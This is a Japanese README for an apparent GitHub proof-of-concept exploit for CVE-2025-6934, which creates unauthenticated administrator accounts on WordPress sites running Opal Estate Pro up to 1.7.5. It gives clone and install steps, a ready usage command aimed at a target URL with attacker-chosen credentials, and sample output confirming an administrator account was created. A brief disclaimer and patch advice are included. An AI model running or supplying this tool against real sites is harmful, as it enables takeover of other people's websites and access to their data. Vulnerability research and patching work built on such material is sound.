CVE-2025-6934 – WordPress Opal Estate Pro エクスプロイト

📖 説明 このリポジトリには、CVE-2025-6934 用の概念実証（PoC）エクスプロイトが含まれています。 これは、WordPress プラグイン: Opal Estate Pro <= 1.7.5 における重大な脆弱性であり、認証されていない管理者アカウントの作成を可能にします。

⚠️ 免責事項: このツールは教育およびセキュリティ研究目的のみで提供されます。
著者は、このツールの誤用や発生した損害について一切の責任を負いません。

🚀 機能

• readme.txt からのプラグインバージョンの自動検出
• 登録用 nonce の抽出
• 脆弱な AJAX エンドポイントを悪用
• 新しい管理者アカウントを作成

🔧 インストール

リポジトリをクローンし、依存関係をインストールします:

git clone https://github.com/0xgh057r3c0n/CVE-2025-6934.git
cd CVE-2025-6934

pip3 install -r requirements.txt

requirements.txt

requests
beautifulsoup4
colorama

▶️ 使用方法

ターゲットを指定してスクリプトを実行します:

python3 CVE-2025-6934.py -u http://target.com/ -mail [email protected] -password MySecurePass123 -user newadmin

✅ 出力例:

[✔] Exploit Successful!
    Username : newadmin
    Email    : [email protected]
    Password : MySecurePass123
    Role     : administrator

📸 スクリーンショット

🛡️ 対策

• プラグインを最新バージョンに更新する
• または、脆弱なプラグインを直ちに無効化する
• WordPress のログで不正なアカウント作成を監視する

👤 著者

Gaurav Bhattacharjee (0xgh057r3c0n)

📜 ライセンス

このプロジェクトはMIT ライセンスの下でライセンスされています。詳細については LICENSE ファイルを参照してください。